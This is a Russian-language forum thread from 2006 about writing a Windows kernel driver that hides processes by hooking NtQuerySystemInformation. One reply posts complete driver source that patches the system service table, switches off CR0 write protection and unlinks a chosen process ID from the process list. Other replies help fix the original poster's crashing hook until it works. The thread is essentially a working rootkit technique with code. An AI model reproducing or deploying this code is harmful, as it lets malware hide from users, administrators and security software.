NtQuerySystemInformation в ядре

Тема в разделе "WASM.WIN32", создана пользователем Klayd, 28 авг 2006.

  1. Klayd

    Klayd Степан

    Публикаций:
    0
    Регистрация:
    7 апр 2006
    Сообщения:
    59
    Адрес:
    Киев
    Впервые пытаюсь написать драйвер, который должен будет скрывать процессы и т.п.

    убираю второй раз, т.к. есть аттачи для таких больших кусков. и тереть предупреждения нехорошо.
    Сори, думал в рамку можна :)^

    после установки перехвата при любом обращении к NtQuerySystemInformation комп быстренько перезагружаается :dntknw:, даже если в моем обработчике только вызывать TrueNtQuerySystemInformation. Обьясните плиз что не так, буду очень благодарен. Файл прилагается
     
  2. drmist

    drmist New Member

    Публикаций:
    0
    Регистрация:
    31 май 2005
    Сообщения:
    112
    Код (Text):
    1. #include <ntddk.h>
    2.  
    3. #define DEBUG
    4. #define CODE_HOOK   0
    5. #define CODE_UNHOOK 1
    6.  
    7. #ifdef DEBUG
    8.   #define DPRINT DbgPrint
    9. #else
    10.   #define DPRINT
    11. #endif
    12.  
    13. typedef struct {
    14.   ULONG NextEntryDelta;
    15.   ULONG ThreadCount;
    16.   ULONG Reserved1[6];
    17.   LARGE_INTEGER CreateTime;
    18.   LARGE_INTEGER UserTime;
    19.   LARGE_INTEGER KernelTime;
    20.   UNICODE_STRING ProcessName;
    21.   ULONG BasePriority;
    22.   ULONG ProcessId;
    23.   ULONG InheritedFromProcessId;
    24.   ULONG HandleCount;
    25.   ULONG Reserved2[2];
    26.   VM_COUNTERS VmCounters;
    27.   IO_COUNTERS IoCounters; // Win2k only
    28.   ULONG pThreads;
    29. } SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;
    30.  
    31. typedef struct {
    32.   PVOID* ServiceTable;
    33.   ULONG CounterTable;
    34.   ULONG ServiceLimit;
    35.   ULONG ArgumentTable;
    36. } SYSTEM_SERVICE_TABLE, *PSYSTEM_SERVICE_TABLE;
    37.  
    38. typedef struct {
    39.   SYSTEM_SERVICE_TABLE ntoskrnl;
    40.   SYSTEM_SERVICE_TABLE win32k;
    41.   SYSTEM_SERVICE_TABLE unused1;
    42.   SYSTEM_SERVICE_TABLE unused2;
    43. } SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE;
    44.  
    45. extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;
    46. #define NTCALL(_function) KeServiceDescriptorTable->ntoskrnl.ServiceTable[_function]
    47. typedef NTSTATUS (*QUERY_SYSTEM_INFORMATION_PROC)(ULONG, PSYSTEM_PROCESSES, ULONG, ULONG);
    48.  
    49. WCHAR DeviceName[] = L"\\Device\\HideProcess";
    50. WCHAR SymbolicLinkName[] = L"\\DosDevices\\HideProcess";
    51. UNICODE_STRING usDeviceName;
    52. UNICODE_STRING usSymbolicLinkName;
    53. PDEVICE_OBJECT pDeviceObject;
    54.  
    55. QUERY_SYSTEM_INFORMATION_PROC TrueQuerySystemInformation;
    56. ULONG HiddenPID = 956;
    57. ULONG Hooked = 0;
    58.  
    59. NTSTATUS NewQuerySystemInformation(ULONG SysInfoCode, PSYSTEM_PROCESSES SysInfo,
    60.             ULONG Len, ULONG ReturnLen)
    61. {
    62.   PSYSTEM_PROCESSES Info, Prev;
    63.   NTSTATUS st = TrueQuerySystemInformation(SysInfoCode, SysInfo, Len, ReturnLen);
    64.   if((st == STATUS_SUCCESS) && (SysInfoCode == 5))
    65.   {
    66.     Info = SysInfo;
    67.  
    68.     while(Info->NextEntryDelta)
    69.     {
    70.       Prev = Info;
    71.       Info = (PSYSTEM_PROCESSES)((ULONG)Info + Info->NextEntryDelta);
    72.  
    73.       if(Info->ProcessId == HiddenPID)
    74.       {
    75.         Prev->NextEntryDelta += Info->NextEntryDelta;
    76.         break;
    77.       }
    78.     }
    79.   }
    80.  
    81.   return st;
    82. }
    83.  
    84. void HookProc()
    85. {
    86.   ULONG Temp;
    87.  
    88.   if(!Hooked)
    89.   {
    90.     TrueQuerySystemInformation = NTCALL(0x00AD);
    91.  
    92.     _asm
    93.     {
    94.       cli
    95.       mov eax, cr0
    96.       mov Temp,eax
    97.       and eax,0xFFFEFFFF
    98.       mov cr0, eax
    99.     }
    100.  
    101.     NTCALL(0x00AD) = NewQuerySystemInformation;
    102.  
    103.     _asm
    104.     {
    105.       mov eax, Temp  
    106.       mov cr0, eax
    107.       sti
    108.     }
    109.  
    110.     DPRINT("HideProcessDriver: HookProc() - success.");
    111.     Hooked++;
    112.   }
    113.   else
    114.     DPRINT("HideProcessDriver: HookProc() - failed.");
    115. }
    116.  
    117. void UnhookProc()
    118. {
    119.   ULONG Temp;
    120.  
    121.   if(Hooked)
    122.   {
    123.     _asm
    124.     {
    125.       cli
    126.       mov eax, cr0
    127.       mov Temp,eax
    128.       and eax,0xFFFEFFFF
    129.       mov cr0, eax
    130.     }
    131.  
    132.     NTCALL(0x00AD) = TrueQuerySystemInformation;
    133.  
    134.     _asm
    135.     {
    136.       mov eax, Temp    
    137.       mov cr0, eax
    138.       sti
    139.     }
    140.  
    141.     Hooked = 0;
    142.     DPRINT("HideProcessDriver: UnhookProc() - success.");
    143.   }
    144.   else
    145.     DPRINT("HideProcessDriver: UnhookProc() - failed.");
    146. }
    147.  
    148. void DriverUnload(PDRIVER_OBJECT DriverObject)
    149. {
    150.   DPRINT("HideProcessDriver is unloaded");
    151.  
    152.   if(Hooked)
    153.   {
    154.     Hooked = 0;
    155.     UnhookProc();
    156.   }
    157.    
    158.   IoDeleteSymbolicLink(&usSymbolicLinkName);
    159.   IoDeleteDevice(pDeviceObject);
    160. }
    161.  
    162. NTSTATUS DriverDispatcher(PDEVICE_OBJECT DeviceObject, PIRP Irp)
    163. {
    164.   PIO_STACK_LOCATION pIoSL;
    165.   ULONG Code;
    166.   ULONG Length;
    167.  
    168.   pIoSL = IoGetCurrentIrpStackLocation(Irp);
    169.   Irp->IoStatus.Information = 0;
    170.  
    171.   if(pIoSL->MajorFunction == IRP_MJ_WRITE)
    172.   {
    173.     Length = pIoSL->Parameters.Write.Length;
    174.  
    175.     if(Length == sizeof(ULONG))
    176.     {
    177.       Code = *(PULONG)(Irp->UserBuffer);
    178.  
    179.       switch(Code)
    180.       {
    181.         case CODE_HOOK:
    182.           HookProc();
    183.           break;
    184.  
    185.         case CODE_UNHOOK:
    186.           UnhookProc();
    187.           break;
    188.       }
    189.     }  
    190.   }
    191.    
    192.   Irp->IoStatus.Status = STATUS_SUCCESS;
    193.   IoCompleteRequest(Irp, IO_NO_INCREMENT);
    194.   return STATUS_SUCCESS;
    195. }
    196.  
    197. NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
    198. {
    199.   NTSTATUS st;
    200.   PDRIVER_DISPATCH *ppdd;
    201.  
    202.   DPRINT("HideProcessDriver is loaded");
    203.   RtlInitUnicodeString(&usDeviceName, DeviceName);
    204.   RtlInitUnicodeString(&usSymbolicLinkName, SymbolicLinkName);
    205.  
    206.   st = IoCreateDevice(DriverObject,  0, &usDeviceName, FILE_DEVICE_NULL, 0, 0, &pDeviceObject);
    207.  
    208.   if(st == STATUS_SUCCESS)
    209.     st = IoCreateSymbolicLink(&usSymbolicLinkName, &usDeviceName);
    210.  
    211.   ppdd = DriverObject->MajorFunction;
    212.   ppdd[IRP_MJ_CREATE] = DriverDispatcher;
    213.   ppdd[IRP_MJ_CLOSE] = DriverDispatcher;
    214.   ppdd[IRP_MJ_WRITE] = DriverDispatcher;
    215.  
    216.   DriverObject->DriverUnload = DriverUnload;
    217.   return st;
    218. }
     
  3. MegaZu

    MegaZu New Member

    Публикаций:
    0
    Регистрация:
    22 июл 2005
    Сообщения:
    290
    BTW
    drmist у тебя обработчик не правильно реализован. Если нужный процесс первый или последний ?
     
  4. drmist

    drmist New Member

    Публикаций:
    0
    Регистрация:
    31 май 2005
    Сообщения:
    112
    MegaZu
    Так я и кину драйвер, который только скомпилить осталось ;)
     
  5. MegaZu

    MegaZu New Member

    Публикаций:
    0
    Регистрация:
    22 июл 2005
    Сообщения:
    290
    drmist
    Читер ;)

    ЗЫ. Модеры загоните первый пост в рамки, а то читать анрил =)
     
  6. Klayd

    Klayd Степан

    Публикаций:
    0
    Регистрация:
    7 апр 2006
    Сообщения:
    59
    Адрес:
    Киев
    drmist, в твоем примере перехват идет через SDT, там подругому совсем. Мне же интересно в чем ошибся я в том методе перехвата который пытаюсь использовать. Почему-то NtOpenProcess перехватывается так же но проблем с ней нет...
     
  7. Nail

    Nail RustyNail

    Публикаций:
    0
    Регистрация:
    16 июл 2006
    Сообщения:
    10
    Под Софтайсом не пробовал прогнать?
     
  8. Klayd

    Klayd Степан

    Публикаций:
    0
    Регистрация:
    7 апр 2006
    Сообщения:
    59
    Адрес:
    Киев
    Пробовал. Понять ничего не смог ((. Какаято борода с TrueNtQuerySystemInformation - это она все валит, но не пойму почему
     
  9. aster_x

    aster_x New Member

    Публикаций:
    0
    Регистрация:
    4 сен 2006
    Сообщения:
    1
    Может быть она где нибудь обращается в память заперщенную.
    Ты не пробовал это функцию вызвать со своим драйвом но в чужом компе?
     
  10. Pinkbyte

    Pinkbyte Member

    Публикаций:
    0
    Регистрация:
    3 сен 2006
    Сообщения:
    106
    Гхрм, а зачем вообще драйвер? Смысл выходить в Ring-0 если можно написать прогу, осуществляющую глобальный API-Hooking и повесить ее на обработку NtQuerySystemInformation и на NtCreateProcess(чтоб новые процессы тоже были пропатчены). Драйвер - это на крайняк, или если нужен Ring-0, имхо
     
  11. Klayd

    Klayd Степан

    Публикаций:
    0
    Регистрация:
    7 апр 2006
    Сообщения:
    59
    Адрес:
    Киев
    нет, но накой мне такой драйв, что на моем компе не пашет?

    в юзермоде я уже єто осуществлял -плучилось, а теперь мне интересно сделать это в Ринг-0
     
  12. Nail

    Nail RustyNail

    Публикаций:
    0
    Регистрация:
    16 июл 2006
    Сообщения:
    10
    Ну так протрасируй ее, посмотри, правильно ли снимается перехват, передаются параметры настоящей NtQuerySystemInformation.
     
  13. Klayd

    Klayd Степан

    Публикаций:
    0
    Регистрация:
    7 апр 2006
    Сообщения:
    59
    Адрес:
    Киев
    Вся беда в том, что я тока недавно познакомился с СофтАйсом, поэтому посредством своих знаний разобраться не могу :dntknw:. Неужели никто не писал такое раньше!? SOS
     
  14. gilg

    gilg New Member

    Публикаций:
    0
    Регистрация:
    19 май 2005
    Сообщения:
    527
    Попробуй разрешить прерывания на время вызова NtQuerySystemInformation() в TrueNtQuerySystemInformation().

    Кстати, запрещать прерывания таким образом на многопроцессорной машине (или хотя бы с гиперфредингом) бессмысленно, так как этот код вполне может быть выполнен в это время на другом процессоре.
     
  15. Klayd

    Klayd Степан

    Публикаций:
    0
    Регистрация:
    7 апр 2006
    Сообщения:
    59
    Адрес:
    Киев
    Ура!!! Теперь работает. Большущее спасибо gilg!!! И всем спасибо за внимание :)
     
  16. gilg

    gilg New Member

    Публикаций:
    0
    Регистрация:
    19 май 2005
    Сообщения:
    527
    Klayd
    Еще одна мысль по поводу прерываний пришла. Прежде чем выключать прерывания при правке кода функции нужно залочить память с помощью MmProbeAndLockPages() иначе в случае страничного прерывания будет BSoD или система просто повиснет. Вообще очень маловероятно, чтобы какая-нибудь другая программа обратилась к этим функциям между двумя инструкциями записи, скорее метеорит упадет на голову. Поэтому думаю заморачиваться с блокировками и отключением прерываний не стоит
     
  17. sadomazer

    sadomazer New Member

    Публикаций:
    0
    Регистрация:
    15 сен 2006
    Сообщения:
    2
    Не лови NtQuerySystemInformation! кроме нее есть еще несколько способов получения списка процессов, но все они в т.ч. и NtQuerySystemInformation в конечном итоге обращаются к ZwQuerySystemInformation из ntdll.dll. К стати, виндовый диспетчер вызывает ее напрямую. Так что, лучше перехватывать ее.
     
  18. gilg

    gilg New Member

    Публикаций:
    0
    Регистрация:
    19 май 2005
    Сообщения:
    527
    sadomazer
    Немного не так. Все функции с префиксом Zw вызывают функции Nt. В юзер-моде эти две функции вообще идентичны, в кернел-моде Zw представляет собой stub, отключающий дополнительную проверку аргументов функций. Look here: http://www.osronline.com/article.cfm?article=257

    А по поводу способов получения списка процессов никто лучше Ms-Rem на русском пока не написал: http://www.wasm.ru/article.php?article=hiddndt
     
  19. LB_K

    LB_K New Member

    Публикаций:
    0
    Регистрация:
    4 авг 2006
    Сообщения:
    8
    Абсолютно та же проблема возниклас NtQuerySystemInformation. Компилю код Klayd'а с небольшими изменениями в TrueNtQuerySystemInformation, запускаю драйвер и "дружелюбный" синий экран разбивает мои надежды на удачный запуск :dntknw:.

    З.ы. Может сразу рабочий код выложить на форум? ))
     
  20. gilg

    gilg New Member

    Публикаций:
    0
    Регистрация:
    19 май 2005
    Сообщения:
    527
    Либо изменения не правильные, либо те же самые грабли, что и у Klayd. Отладчик в помощь!